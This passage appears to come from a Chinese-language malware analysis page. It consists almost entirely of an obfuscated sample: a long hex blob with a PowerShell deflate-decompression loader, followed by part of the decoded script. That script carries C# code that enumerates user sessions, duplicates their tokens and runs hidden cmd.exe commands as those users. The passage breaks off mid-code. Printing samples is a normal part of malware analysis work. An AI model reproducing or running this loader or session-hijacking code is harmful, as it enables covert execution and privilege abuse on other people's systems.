4dfebc983073015b34fdfbc6d7fef65fd8b2e691d73bff8cea7e72f0ff65e52ea8f02a3d7b4da769ebfa5bc6ab9bef8e99714c79ebf6c1ebc7df1f2a72861f3c92f7a72f77276f082fca887c70feffef477ee3f78f153ef9e5390f78b7ef08baa599ddf5fd3ca3db90839ad167ff5c9b769f9f6078b87bfe8938315659bce7f9f77f5b75f4ed7cf2eefb5f7de9226fc7279777dfffce1e583e3fc2eadaffdde0f7f2fe2e72fa6f71f50b6ea41fe6ab7a1e5f79ff8f427b3bb07d94f5274ff74993d7cf87b4fafdebe39bff8e43bd72fd77bc5b75fe6e4ac5f7f79aff8a99794fab8f790b4df0f76defede0f57e5ef7d39fbbdf2bb4f7ef2074f7ffa93df7bf1f0deac3edfffa4febd89db2e7fefef4eef7e6741c98383fccd4fcd2eef6339acf984f2269f5072f7f7fece2bcae365346eca9ded5dad6ae2f9d55e4181fd657dfe8b9eddbbfbfade9befe69fdc5f2ec943a2c5ea5946a9accf5f52f05f3c7bfa32ffc1debd7b94c85ffea24f7e62f7797df08656b3c9e1a610ea7a76f9709fd652c9cda4d51b724fcfaf9f7f77e7eea7a4d0aedf1edc2d4e1f9edfdbfde4933797cf777f6ff206967bbff7dbbbd337cb4feb3d8a8e560fee3ddfa334e3c177aeef5dfea2fb0ff2abfbd4d7279fcedffc04b9c0d34fee97af290b714901e20f689e762f7fd1272f9e5f9e7f79f7abddc5657bb9ac72d2f194d3fb6e7e9ffc896b1ad8d5e5f3e539f1cbc3e641fe697b9e53ee34ffc1effd052d9653ecf090bc4cf22e97e435ffd40ff2d7bf0889ae672fa7f7de92022743f3c957144cbcbc4feec082bc8d87f9839c16dcee3d3898edd2eadffe53caf47d4acbe634a70fdaf30609ebcb97cf773fb9fbc905a5168b7b93073f45beea9bafeedd7d767742cb1bed43ca97be6d5e7ef5eed901b957c5a72ff71ebc9b2d5f96777f926c5c71f9c975be3c5fd6149b5e3c3cffbdd7f7bff37b7f72ef07148253befc72fad3bff74ffd5473f1f0f2e18b4fe7e49affe0c183e7dffda4fcc9cb035a23690e2ef71e52e046c112b2bb9f9e3ca7c8e062ef07df7dd8fce025e9e69f22d24f2eef9f53f2f1fce5ef433421dfeff8a7ce9b8327bff75b4a617c3abdbbbcfeeebbe6cdc3ef3c5c7c72706ffd80227d9a6fca817ffb8be7f767ef5e7cf7ee27bfe8cbf3bd9f3a780ba2e5af28c7f5d3f9e55707cdf34f0ed607b40e4179e6bc5e7e798064d2cbaf0ef2dffba7cedfbcdc5defaf96e73ff5edabcb077bcb7b5ffe603d59372f2edfb4bfe8e1f35df2de3fd9d9fdbdc9ef7bf603728f7ed1530a97ebf6f7baf77c7d70f9ea738aaa7eef837bb3bdf307df7939c152d0deefbdb8f7e9e5c1e29256f7ae415eb27d0f96135a8e79b86ecfc9f1cfef121b90065a5e4e3f7d38a97ff2939f7e7970f7fe9b7b0fafeeef1cdcdff9c1effd7b1fcc7f70f9e99bf34fcbe5effd49fe66fd53570f1e3cfcbd7faf9fae5b5a377af0eef9bd1fdccd3ef9bd0fa6e797335a2c383f38682e3ff9bdebfb57b4fab24b8e3e2d61d0cadc9bdf7bf6dd7bd4c73e99fc9faaf3ab4f273f7d69b29ba42ccb3794cd5c3dc752cd4ef9eddf07c1c04f7dfac9b77feff329596dca9edeffbd69d9e0c9dd2fcf1bf258ef66640c16df59bda318f755f9f653caddb4fb0f27cb6cb5acdebc3e3fa064c675493e1f3945777f9fbd37e488dddf3bf89258e0d3efe494f579d8520af9e583fb0f762971f7f209a5a40ebeb37bd94c4e1fee5e506ef0e9eb4f7ff2bb7711187cf1539fdc7ff1b2f9c1c37cf71e25a0ee5e3dcf5edebd5ad1f249410cf2c9277b4f57c4119f107eefbeba7bf9edcb970fe7b45c75f7e1d54ffe643bdbbf7e63629083fde7488b7cf7c5fd4f2e4922af777eef7ae7e1b3bb773fffa94f7ffa1e1946c2f0eecec54ffde0ee272794675b9e369f7ef2f25efef0e0a7cbcb86b2b80fcedf2c9b179fbc5dd2ec11310f0ebe224a7d72f0d32f7f9feb62995f92467e786f45cb49cbe6e59262375ae3a50456f5f0e1fda7eb779fdca3a8ea27efbdfc49d22b8acdf3c9794e8aebc1e70f5efedef78be748f6d122f5c1c19b7bbf77fd7b1fec50f6e1eeddafbefae407070fde509aea17bd6cf7f3dfbb3c3ff8c9f3f94f2e8f29e6f8c1f2fc93f9dee59b925cdea764331e3e7c36f92e29851f7cfbeefe8307dfd9a188edeee7e52c7f78f7a72e28aff5c9c1276f675faeaa87cfbf734e54fa2e69b95fb42687ffd38734c7b39f24af67ffed3ef95334b607e79ffcde3f6897e5177bcf960f1efee0a75fbef9bd77775664380f76ebea937727dfcecfef3e7b4324ffb2fc1299929f5cd5cddd939ffaeee56af9e5dd773ff9edbb4f1efef46ad9dcbdf77cd9ecdf7df8d5abfd7b0f2e2faf9f50bae0e027976f7f9f4fb2bbabbd7b3f49d98b7b77d7eb37b4ec401cf4e0c5f48afcd0cbfb0fbeb87bfee5e5f37b3ffd7b5d9e7f71f7e2795e90db43e27e40e1caf9dddd97b4bc788fbc5672c6cf166473283371f9e2a79ee5248bcbea2732a481495f4cae1f7ef7ee4fce7e6fca79c3564ccb9ffaa9fb6f9ebffae44ddb509e9e16d5481d7cfef09c822cb281f9ddec35f9153f78f8edf3ddebe207e7d3bb5f7cf1e2dbcd01b9c4bfcfbbfd7bdf6e77ebcf1f904ff7e63e65ace04b93fc7c9a9325393878f7d36d41ab0b7b0f7f6f52cb4f9e92eb48b2fe664a79ab6f9fdd7dfee6bb94096a97e4ff7d7a6ff9f6eea7df797af721c55bcbbd877bdf597efec5bb830714d5dc9bdcfd459f503aeffe570bf2fb9f936f734962fd963224bff7cb67cdc14fbdcc497ee09e2fee7eba2243b8fff6175dfe5e2f3f218dbdfb9dc501a5101efee4ddfb33f2947e0a2bc830055f3e2ceeddfdc1abef7e42eb0e3fb83ff945773f2549bef7edc55d8a0149b23f45ae97267342d69f7270f7db17e7afde11da3fa065c15ff4e4fceee59b4fcff3e7ebe9ef753e79b1783bbb47ebf53ff5c9e4bb64a0483228df7cefcbe5c143ca62913b77490e65f570ff6e5d5ffe3ec5e4ded32f3fbd9befbf25efffc1dd77afef7d3aa3f532721996afcb9dd9173fb5f7667df7d9931f9cbf9cedee4e2911ff607942e6fae1d529b9d9a4771fd0aac277cedf7c57c56375af79b85adc7b36bd7ff0f2c127dffe89bb0fef53a474fd29a57bf3c9ee2fbaf77b538070ffe5faea934f3ea1d5e14f0e76665ffe348feed9fad34f8aabbbf726bf3782a5cbdffbee5df26c493bdfbda445a0bdd92f7af07bbddd79b9f37bb5e7e76f5f93b3349f9171ff01851497bf17ada6dc9bfd5ebb0f7ff05397e59397d34f570f0e26e7f77eeacde5c31f7c7befe1c1cbe96b4a3ffede5f3cf9ce25e7619ed7e7f72f287df3a4dca15875fa83d75fdea32078fef2937b2525392fee3edb7fb5fbed757e7df7f7ae5fdca5f5147264d6cf7fefbbc50f2882baa434d84fd7f94fdc9de60f9fbc99521878f5e621ad9efda2d95d5ae0a2258ae75fde3fb8bbfabd29acf97dee96cd2f7a70efc5ef4d698d7bab9fa64c3d855a8bbb570f170fbe7379f5f4f79e5ddefb648f66fd41b3b8ffb098dc3d78fe72f609e5a39e4cde90b73c7ff8f2f76e724abf1283defda4c91f5c3e58af9befbca124ccb23a7f787d7ff9edcbe984b2a55fec3ff8bd7748a64f9e7df79cd87b9f5c9f2f7fead5c3dffb070fca379497261df7eef7a615e8fcddbb4f9f3ffcf2092d7d3cddfbf28022bf9fbc5cd7075fde7b59538879f09496e00f1e7ef5e9f35fb42693fa530f767ef0f265fee0f7a6e9a548e6dedd8325ad03ccebf37b77bf3df9a9ef9007b8fbc90fee3fdbc5f2d5ef9ddf3db8baff7b7fd93cf8450fbedc273d3fa335defd8bc9657342bcbbde2ff61e3efce91fd0b267dd7efaecfcfc8befec3ff83689e04f3cffbddf3ca355b6870faf3fbd585ee68bfb2feffde4e5832b4a5cecadbf4d4e5a7e555214befcf4c5c35f443f1757d7df9e7dfac983973ff193cfce1eee519474fef2edb3e9dd8b4f2fa77729edf783d76f3f7ffe132d252cd6d5c10f28f593153f589f9f3fbb7c70f034bf77f7bb9f7ef2fa3e0571f9f3d7ebbb3f75be98cebe7df070effe5bca5b3ca4a0f7fcfad3bbcb657efe7bdd6dcf3f7df2938b2bca78bffcbd2feb87331aebf5b7bfa8c8ea3fdcf9eef92fa2c8f4f7fe094ad0dffba94b6272747dbef80131639113c3ed92e738a3488bc64ffafef7faee274f6a5a35fe64f7f7fef2fedb4f69f9206f9ed1e07ff0f017fdde9fac9f2ea7f7bf83a459f3d3cfbe3cf889e72fcb874f9ed30a3b39eddf9953629816ee1fbcbcbfa608f7934ff68b072fbf4d9af53ccfae3fbd776ff69d87c5eaf2e54f9108ce7fb0fee4fa2bcabb3fb9bc2457fca7efbffcee0f76ee3dd87b40e179f9bcba5fffdee755f69a3ca4f535a5b99f2c779b675fdcbb7b756ff272f9ec454b315d59edfc5ee5b3f9ab07675f66df79557e7a7ff2e6173dd8fb74fa7b7ffafb7c7af7e407c77b3fbd7ef3e52707f5b7df36f3cbe9f9e2530a351e16f777bebc38a025ed4f7ff02adf7df97bbd7c49292bf249691de3c1b7bffc7dee239dfde0fee5f4e03b0f8a1d5af22349a745104a2c93e7f97c7970fdf4de970fef3ff8e9cb7b84252588ae1f2e1e1614b11e3c202efde43e05f994e1ba77490b1f149d7c42f27139fd293223d9e5f3dfbba11ce5efbd5cdfbbf7c9cec1eea7bff7ecf721edfee0e52f7a422befdfa11426e9c10777dfac7f40b9d9dffbf7bafb86d6a07feab2395f4eb2bb77c971de23823d7f481e1fbd337bf87276552c2987bc8be4defd72b1fb9cacc297df7db077efcd939a129dbbf7173f7979efe0db5f7ce7e0debde73ff590a2c2929646695df7f27c39fd32a7c5aee71459fde0ee2f7a9eff14659bd7d37b642568ad7ff7c1c34f48760e3e79f28696e13e2d0f0eee5ed7d5dd9fa6d0ecb2debb773eb97f97005c5fd222ebe2f99492a3afee5fbef9bdef2d29d3babf7e7a793dbf2067e693d97276efcb07d3eb8b1ae37a40c992dfebe54fee92ea258fffa73efdc177ae69c9ecfee5effd9a525794d89efda24fafeacb2f8dbb94914adc297f70777a97d62faebef3f2ec134ac3bfa1a5a39fbc7f796ffee617dd3fdda16cf9f4ee04abc5bf3727332f1f900a59fd604939fb4bf2bc9ed0f7079fbca32cefc9fd839fa6d8e2eede0e89ce275714195d92927bf9fbbcf9bda70fde3dfdbdbf68efffe0e5ec3e25765edea525d897e446cdeebda0d99f2c4971bc42ea985629ef9fdf9b7cfaf0073ff8bd3f5d2f7f2f4a6fb63ff9f2f7f964f5b2babb43ee1ca9983713ca8453ce794dd6e4e95b4aa1d1ea784e41e6e5f54f34942c6b9f5fbe216371fe7bb7b34f7ffacde5dd1d4ab861c5f0fc3e252d1ebe7cf9eae1bdfb0f1eee3fa5153cca309fdf3df84e7979f0c97246d12f992e22dff5b7697174f99dcb872f291ff5c9276f7ff072fae5fdd9eff5e6fc271ede6b69f983a2de5f44c1434eb9ea7b3ff99d9f2659a1457a4a661de09fe7145cecbefbbd2ff3073ff9e67c36b9fac9df7b4d2b3e0f96ab5f74be7e387df2908c0cf9c4bbcb927278e77bcf2966fae42925d10fae96dfa66cc3d5e4de8bdf6777fe94f4c0eaeedbdf7b36b94f5ae1fed32f1be2cd2f1ee464990f48117cf2292dc07cf262490b266f299f57ec9ddf2d9f7ffb93fbbf6845637a706f76f7e4f5279f501aff65dbb4eb079f52a2edddee0feeee7d87163e1e5292f13b3f45cb7434dafccdf9ab7bcf7faf970fc9ccddbf4b41236572aebf3cbf7bff075faeee7e4a6171b6aa498297bff732cb0f7ed1fd7cefc1f98a54d5ce75fe83f5e2f2cb2905a6cbcba67cf070f9034a46de5dbcbc571e3cbcdefbf6ef4dabf1f7ea9c5831ffe4ed9a962d0fbebdfee4e17773329839ada31d3cf97683a5b34f1efede5fde2db235d1f8ddeffddde5fddffbee77de7d7b79b0f8cecb973f39fd450f7f9ab46af3e0e00794bd3a2011bc870865f97bdf2f69e990bcd90757734a4813cb3e251bf8d50f281cf862f6a0f9f6dd1965a029397aefcdb3cb4fdebebabbac9f7f97327ff5e47256bec032f34ffdc4a7f77ef0f2f26cffdd5dd2fb149a7df2706f7799bffbce0fc812ffdef73ea1fc41fef0f77ef609a55f68ad0749cecb7bf79fe73ff9ee2b4a197ce7fc937bb468da5c502437d9ff64593effbdaedb9d9ffcee75fdf9eb49f9e98336afcfbffca47df1c9faf77a72b277f745f5e0d9ef9d5d4e17af3ffda9bd267fb33c7ff572be4739ccf9ab279f5f66ef7ef0ae3a7e436b722fbffbba5a5c7f72fa7a46ab1b3ff97bdd7d41eeefc5ef9d7fb9f3d3a7cb97ebe7fb6f96775fbd5e9d15c7e7679ffedecfbefbc9f3e527675fdc5d5f9c9314fedee47c5d3eab5fac0f5ece9fdd3dfb62f2eceedee5fe6b0a2f76288c3c5f522cbcff83c54fff3e271797d5ebf3fc8a7ccf9de503b2a33be5dd7bd307dffe89b7cfe7cbd3c9ebf32f296530ff6a727f72fd8383bdf26ce793f9ddf9bafdee29e5fa77773e79f2ed87bfe8ed273bf7af9abcfdc1fe4f53bee9fc27bf5abf24ddfa69f9e4dee5e4de9b1fbc79fe7b5f5cfcd4bbbdf5b3d5d36afde4a77ff0829ca89733d532d527e597df797b36fbeeab5f54fea2cbddefbc7afaf2e5d35793f3e68bbb9fdcfff6779fef2cdb9fdc2b175fcd575f64b3af56edc9777fef979fde7df3936707bf7775f1a2de597ff183070f9fd384e7fb5fb6bfd76576fd65fb6efd8b8eb35f7430f9fcbb9ffcf4174f1fbedbdf99eeeedffdc117f7ae9ebefb0e257126dfa69531720768ede1d36fbffabd0ebe2ceb7b273fb8fe45bff7e43b3fd899ce9e1c7c7776b0fbc9135aab7930bd6c675fed913771f293b3f90feabde52979650f29bd42abf4e7cba78bfcfaf2f2db3f75f7eef37be73b9f3fa09cf0c37bf93dca76640f7eb068ee3e21aff307392577dafc27165f4e9eefed2f7ffacdddd9fcfa07afdffdde3b2fbe736f71f0edefb6bf0f2df7fcf4aa29765fbe797039bbbbf889d5f3fae957df595ebcbbfbf2ea78bdf3134f7eef69fedd87e7c70fef2d7eeaa7aebefdfce1b7efbfba7bdefce0dddec3fd77d54f3c3ca044d7836fdf7df0eea0beff8602a5a67ef874affe6a45acbe9ad56f767ff0e5793e7b577cf7ab7707d3c577bebcbbfee4bbb438f1e093dffbf77a78fae2f41751a29b54c327bfcfc3ecdefa6c3599153ff8f24173efbb93f693bb57d74f1e3edd39ff7679f0c9f4f94fefdda748e4d977dffda2ec8b776f16f74e269f53de6d557ff9aa78b25bbeadf3ddf32f3e7dfd8327b39f38b977b173fa76e7dd2ffabd7f9feb079383e2dece62f9e597e484922751ae1fde276ce75f5dbf98df5dbefee4e02d09e8fdef1e1cdc2b28cbfff0939ffacea4feeef317bff76287c298d75fb5d31ffca0f97da6afdbf9a7d34fa9b7a79f943ffdfbec4d29217efae9eff529c5b6ebdffbf779f7f6939f5c5ceebebcfb9ddf67f953b3fbef7eeae5f9b73fbfb87efde0c5f493cb4f1ebc7af3e5eff580a29aeffedebbd3cbfcf5bd2fcef6efbe7cf8ee7c6f71f0d32f5ebeb8beff60551d2c28d970426ee9f2a23d78fee6db3f317b7670f28365bd377bf0e6f7def9e9cb1fecffe07295b597948fa4e06a4dda7995bdfbeef23beb4feb363f2e5e15bfcfe7df79f2132f175fae7efaea075f7c5256e4b2fe60ffdef9172f5eed2debeacd0fbe7bf0d5c14f4fdebdfbeed3cbb3e75f7df953939f5cfed4f9fde9ce7a7efec9b78bb78beb97f79f7d67f2e9fe4f9f3fa5e5dff2fc271faecf7fea75f9e6f9e4939f58d4bfcfce8b573fd8ffbdf7a6a4ad76ae763e39985f239d39ffeebdbbd3ead5fddf67fae2f9e2f7fa82a2ff1f2cce66f5ceebdfebc5deba3a3d2f28407f7dda7ef7d5b7ef7e3529e6abd5e9e9747df0fcdbf7a65fdc2fcfef7f7a6feffe573f399b2d8aeb4b92812f7fea3be74f5e7f35a375d69f7efde0c9efb57ab5bcb77837b97bfe7b3f79f7dde6ddf21e25a69efd24b98f9f3cfca9379f5cadeebdbcbf33f9bdbfdbd2d4dd5b2e2e7ff2d5bdcfbfbdb85c9e3c7df1c93b12fbefdc7b49e9b6bddffbfcf4f7d927767df58bde1c1ffcf4f9f21795cdd52c3fffc917edc367ef2e7f9fd7a7b4f6fde2a7ee1e3cac5fac9e9053fc932f767faafcf68c5c37b27b14a4eefe5edfdd5decd16869c1f3e4ddef93efeeecceeabbf77ed1777e9faf7eeaa7deb53ff9864cf4ee4f7ff2c92ffaee01c553b4f6faea177df16ebaf77b3ffca9e733324a3fd8a99bfb93275f9dbf557d33bdfec1f9ef7d30f9e9e672b2581c3cddbfbb7c93af1efee4d383f3b70fcaf6f2db177767b4e678f0a2fea9cbeacd4fee2dd7655e2e17afbe73b15eedce3ebd7bfaf0db64a18be5decb4f9e7efed5f4f37bc56abd7a33fb64fa7236b95b7cf7edfae5ecf9779f2df7bebbfbc9de8bbb3ff8a9c5f9bd965651f2e3a79490bbffe5b7bf24da9c67b4b871ef5e7efc83735a3b21ffb5bddb7c7977355f5e2fdfd2aad6fd37abdffb07afee1ebfbb779f96965e3e793a2b3fff89b377f75eeefedec52707fb145f5fbe7cf9e5fdfb3f689fb7cb77bff74f64075fd1dae3dd4f5e3f6c762e7ee2c1d53b52ae77efcdef7d7270b058beceeffef4bb4bf242ce96c4b3abfa931f3c68697d8f68ffc9bdbdcba7ef5e56942cfde4e1ceeadebafda94f7efa075fe677cf3f6f9f7f4ae1f2dbc9ecf5bd4f7eefdffbd3bb2fbebcb7c89fd775b3be5effa2c90faa9afafff4d5deb7670f3f59ec35bf687f32fbfcfcdb27d441fee0ddef734a699bf5cb87675f9dcf97cb574b4a483cfcbd9a4fabfb07eb770fae9f13df175fdecf970f3e39f9bd7ff0fa6efdd5a2f864f793f37ceffcc9773fdd597f4a4ae2a7da9ffe7dde3d9c7ce7fe4fffe0de6cd19cdf9b35f7663f7df9c9f4f79ebcb8f7e94ffe22f20a1eb69469bc7b6ff5e2fe4fb6bff70f1efef4eeabeb077beb4fdfde7bf6eceec50ff69a4fc9967ffbdeef3dbdff7bed35dfbd2ef383ec2e757a7eb95bd6554d8bb00d60173fa050fac5a7b3fac1e2eefddd079fae5e3db8feaafdc9ecf979fb83e2e007df3eb87fefe5f945f38b8e3f2f96dfa9dbd75f4e5e4e9efcc4e2a7a60f7f40abea77bff3e5eefd2f3f25a097974b4ab1922b77ffe1c383bd9f7af0c5d3b7cf16bb3ff953dffdc9c5f5935f74fd8b565f5cbf5aed3e79f03acb7f70f6f9170f7ee2f8f4edeff3e6faf4e2c9d9c9fcf5b7f77feffaab87bf17d98ddfebdedef3c55745f99d774f7e9f6fefd02ae57d4ab26d5d2c0bea7bffd3bcc99e2caafad9a347df6fc9855a5627dfdb7a7afe9d9f1e6da58b2ca726141d2cf22fc65f9ea5ed34ffe9c997db57f90b6e611ae46d56d25acf7859154d93d7ab4575126d5de7b32c7f25ef441aa4efae9e7e7e7af61b27bf71f2e4f2275e4d9a9f1ee70b7aa3fee2f7fef4a70bfee893d5a27d74b9ccd1fcb3e6a77fffb6cdf0ab7d655acd62efb877a841efa5e7afbefafd4f5f7d79c27f7c56d6ebdf9f4832314d7ef19dddb4bdd84edbe5ba9a8eefbcadaab25d7fc928b5e75553d5d3e20bfeabcca6d573fe2da30e56ab63fe3d5f64cb3a6fd60603feb0a14fbee2df1e9da48bbc2d6665319f6eb7f9c5d6d679815e798a7ecfcff25935fdfdcb225b186cf269bdae1afe332572b7c5b220cae7abeb37db29ff3b9b1da3ddefc983c16fbf84ff49e9c12ffa6be44ff351f0c1e087f68b1f1bfae6f0ce6c311d2df3b7d51b8c76be4acff37a8bff9eb7c5778951a624ee6d9db5af7f6c0310e1046a3c5dbf4ef9ed94d86d5a94abf553fe6e2b5f16cf8984f577c7795935c4bec3e07ef1e03777ee74304d47bbe9682f1d5575fe53e3ba7dd92ecfd2d14e2a0302e5b36545d3b85a9ccdb7de9df2a716afadf4bc78bf2189e4bc4edbfcf3a1410dc1fbc5435fe890425c65684fcfb4c371d16cd9815fd38af84fbc7ef35da03f04f4f08effee278ceca3a767b718c020c4fc07c5eb76992ff2f2f43aabeb2cfdec1312b6bcaed7d3c177eedcf9f2d98bb3dfffc59767af5f9fbefefd81f47945fcdfa6a33bfaeed61d99b5adadbc5eb7d335e91c1a66fb725c66f3a6cebee843483f4b8b26ed7e3c84438fee4cf34f3e29d243a88a13a148933e4ee9931dc0a65115a404abf3d89b8777b6f63f2574ab37e3ea7c6968bca2f70c2df8ebd8ab01268c0575f7bba677023478de03c886c9770226df6ab40171739d2fd6cbd3084788ea38f465e3b3d41720fdb0f3caf0b46d9d7f0936307343d07a5c41c4ebc1db61f278a38c350ab10c48308066645c1d298abf6827822781d45fca36b6d99a2d4ea6f9bbd3d9f2d85017844d674575994e0970dbd08f72b25ef9003aaafaf08eaacc393308fdb6dacacbd932fb76de5465205eaa7ec972cedfdcb6b59bbd4deda0f07fecc7742eb7c8e5a94ff7ee2d8befb64df69c44dfcc5f4c27e3358af2a08405429a37659ef6ec4f473feaa0533614b7d18d3189205d68a890b6ebca6f6e5e61d94027222ab11665b95e46bfb85c9eaea25f341759f98c5927af4fae66d13644852caa1102d3f375be270614059d4eefcacf582bfe267f978fa939bb24fccf1ef9e56d73ddb84f9aab6ab62caef4039a49782fd361b81e43e1dfe6986792deab5fe64c8f98523964786db9ce28b1e0fadea169a1bea5b3cfd255d5be6df2a7ab72ec26ad0b6897da31f9af661b5a4181f0b8be7b55cd5f5f6d6ab9bbc3cfbb9df4273f7fdaeea73b3bfbe603edc99b68d243ebbb778da8c89b07eff16eaf7bd19c2fbf7af3eaf8cdeb41a539990e8f409171f21b88d9db69553e81a9592cabba20864e6592065d2c816264f9ce1d66636fd24528e0f231680fb2ce3eb9488a49a86ef9bd21fbb145a6e3cdf117afd88c900d39f9f2d5cbf42a5faa6267017fa1f1b8d7d2b4ecc3f3a8eac11102fadf75de1cd2f41e01cc1806bdde40fd13512e0b42de03dbd5ffd4845e7afdfaf8f9c9ef7ffa86907a7372fae2c59727eca45c97cb0a0abf63471cac430a445e3097b5af89dd5782f0eb9b5efc3e7951af5f3e1f23b698e517d9325b2cbfda6a8e95e7be17e9c83a88e9de3d22c057377511d0b2e77db1e716a5cff7ef9459417cb5fe45e48b9208ff5ea4d9afb3e75bf2433c3e8b5f84a0143b9d75fc3b515c57d5d3d8e76ddee4afa22f90a62c9ec7be214b1aed629653e8bb5c56d3a68876452a299bbf8e7dc33ebabc7cb20972f4cbfcb268a7c7916f822918e030f258f2dbb0293b05b3f6b51580f8ac1fb6eb15c5d1b76bb83cbb45bbbd597e59638e5665b7e550cbc994fc8a6adef5be6c43cf346c6ea8964674f7409bbc5d4f48e4dae3b22c6e6a4bb2353f61cff6f7b975cbdffba6fec956dc040d6d6e8273138c1bf128dbe20dcd912aa08156d6c6dfd0ce9bf4cd0d31d7141ddc520719bdffb3a77e0e6767e2a1df40aed9991a8d9bda89bb7f03eb9b186273b3801c31936bc8a2a6f61ba1cea104ac2b9e26e78393c7681b0501acf5123afe3a3744a33aff490d08c3ef0ccb44bfacf1a5d3359dafa3d131c3a1245ffb2edf60cebf7f27a7419383c10a5202a6d7a9b8df65391bef51c23f6b5a7172b748db50a059964f7b44125f2218fc68664d2e38a49fd149cbaa9adc16c5cf3623f8dd9b106c494faeb2e5eb39664e930a7e48f93eb86c2257991390b73762e31c4f6b177a2ee97545dc9c3fbd356ad4eec9904b943e5ad66b5a960f30b96934941c4692f8c6c114753e5f9e4d045171362dab8e6243dde081df7ab4df08eac201619e74930097f965fe3cc8ba44c515932029d4d8b78ddadcf658b4a3234baf25e2a0e3595e17c4070341d8c81b03d91a72fade9d0ee9896e4af8d6c4663a76df36812f6155bdbcae5b0acf3a727939cb6e541c20e6a2860a552b40e4882af730436215ef6acd710bbde55bc8d8e4d18a11b9a175f154729727ce38775b4679b6dbe83611b24e4e28213d40b7e707dbd2d16aa0298263ea7a41ab5ec3e3b4d1172674753cdc3094e9ceb79c49519bab0915934db9358395657642de3416eb88f858ee234cf021529dbdcf4645b33c1e93c4c3cd0407ea6fa361a5e0657b0c72df04ff3ed38773264f5d90f8f4ecf9f14fbe3813a6a0345135ed8f5b3d1ac061034e11dbbb5393596c9aac9c1a92397f088d7f31bf5116ed57693ecd560d16f3141d7ab980a740466e45090c9a2c5a7824eaad5f8d3973f61a13dcacb96df7031e292dee4ded5a1ecde7d6d61dfa97fe4734face36fd7c8789fefebdd1eef7eee4d3e5e9abd367b4b47ada549357a797ed62fafd8b17c8387c6f2bdd1a7fbcb5b595def9f8635a3ef8e9edefdfdf1b7dba37daffdef4f4e5eb2fbe9c3efac917a7bf5bba958ed38feea487c58bcbeaf7cab7f3772f09f9e6eccb17f4fe45fe66bb78932fd274ebe3cbe35734a4e2f809fd5b9e3e42c26efe62f6f19d34bd33a615ecaff2ef6da7bbe3f176baf57eaf8dc95c5fbcf9767ae7fbe9f677be3c5b7efc717ae7374efe1f'-split'(..)'|?{$_}|%{[convert]::ToUInt32($_,16)}))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();
*/

去混淆解密后

代码语言:javascript
复制
/*
* 提示:该行代码过长,系统自动注释不进行高亮。一键复制会移除系统注释 
* ('$msource=@"using System;using System.Runtime.Interop'+'Services;namespace Utils{    public static class ProcessExtensions    {        private const uint INVALID_SESSION_ID = 0xFFFFFFFF;        [DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]        private static extern bool CreateProcessAs'+'User(            IntPtr hToken,            String lpApplicationName,            String lpCommandLine,            IntPtr lpProcessAttributes,            IntPtr lpThreadAttributes,            bool bInheritHandle,            uint dwCreationFlags,            IntPtr lpEnvironment,            String lpCurrentDirectory,            ref STARTUPINFO lpStartupInfo,            out PROCESS_INFORMATION lpProcessInformation);        [DllImport("advapi32.dll", EntryPoint = "DuplicateTokenEx")]        private static extern bool DuplicateTokenEx(            IntPtr ExistingTokenHandle,            uint dwDesiredAccess,            IntPtr lpThreadAttributes,            int TokenType,            int ImpersonationLevel,            ref IntPtr DuplicateTokenHandle);        [DllImport("userenv.dll", SetLastError = true)]        private static extern bool CreateEnvironmentBlock(ref IntPtr lpEnvironment, IntPtr hToken, bool bInherit);        [DllImport("userenv.dll", SetLastError = true)]        [return: MarshalAs(UnmanagedType.Bool)]        private static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment);        [DllImport("kernel32.dll", SetLastError = true)]        private static extern bool CloseHandle(IntPtr '+'hSnapshot);        [DllImport("Wtsapi32.dll", SetLastError=true)]        private static extern bool WTSQueryUserToken(uint SessionId, ref IntPtr phToken);        [DllImport("wtsapi32.dll", SetLastError = true)]        private static extern int WTSEnumerateSessions(            IntPtr hServer,            int Reserved,            int Version,            ref IntPtr ppSessionInfo,     '+'       ref int pCount);        [StructLayout(LayoutKind.Sequential)]        privat'+'e struct PROCESS_INFORMATION        {            public IntPtr hProcess;            public IntPtr hThread;            public uint dwProcessId;            public uint dwThreadId;        }        [StructLayout(LayoutKind.Sequential)]        private struct STARTUPINFO        {            public int cb;            public String lpReserved;            public String lpDesktop;            public String lpTitle;            public uint dwX;            public uint dwY;            public uint dwXSize;            public uint dwYSize;            public uint dwXCountChars;            public uint dwYCountChars;            public uint dwFillAttribute;            public uint dwFlags;            public short wShowWindow;            public short cbReserved2;            public IntPtr lpReserved2;            public IntPtr hStdInput;            public IntPtr hStdOutput;            public IntPtr hStdError;        }        private enum WTS_CONNECTSTATE_CLASS        {            WTSActive,            WTSConnected,            WTSConnectQuery,            WTSShadow,            WTSDisconnected,            WTSIdle,            WTSListen,            WTSReset,            WTSDown,            WTSInit        }        [StructLayout(LayoutKind.Sequential)]        private struct WTS_SESSION_INFO        {            public readonly UInt32 SessionID;            [MarshalAs(UnmanagedType.LPStr)]            public readonly String pWinStationName;            public readonly WTS_CONNECTSTATE_CLASS State;        }        private static void StartProcessWithToken(ref IntPtr hUserToken,string cmd)        {            STARTUPINFO startInfo = new STARTUPINFO();            PROCESS_INFORMATIO'+'N procInfo = new PROCESS_INFORMATION();            IntPtr pEnv = IntPtr.Zero;            if(CreateEnvironmentBlock(ref pEnv,hUserToken,false))            {                Console.WriteLine("Create Environment Block Success");            }            startInfo.cb = Marshal.SizeOf(typeof(STARTUPINFO));            uint dwCreationFlags = 0x00000400 | 0x08000000;            //uint dwCreationFlags = 0x00000400 | 0x00000010;            startInfo.wShowWindow = 0;            startInfo.dwFlags = 1;            startInfo.lpDesktop = "winsta0\\default";            if (CreatePr'+'ocessAsUser(hUserToken,                "c:ij6'+'XM\windows\\system32\\cmd.exe",                "/c "+cmd,                IntPtr.Zero,                IntPtr.Zero,                false,                dwCreationFlags,                pEnv,                null,                ref startInfo,                out procInfo))            {                Console.WriteLine("Start Process Success");            } else             {'+'                Console.WriteLine(Marshal.GetLastWin32Error());            }            CloseHandle(hUserToken);            CloseHandle(procInfo.hThread);            CloseHandle(procInfo.hProcess);        }        public static void EnumSessionsAndExecCmd(string cmd)        {            IntPtr hImpersonationToken = IntPtr.Zero;            IntPtr pSessionInfo = IntPtr.Zero;            int sessionCount = 0;            int arrayElementSize = Marshal.SizeOf(typeof(WTS_SESSION_INFO));            IntPtr phUserToken = IntPtr.Zero;            if (WTSEnumerateSessions(IntPtr.Zero, 0, 1, ref 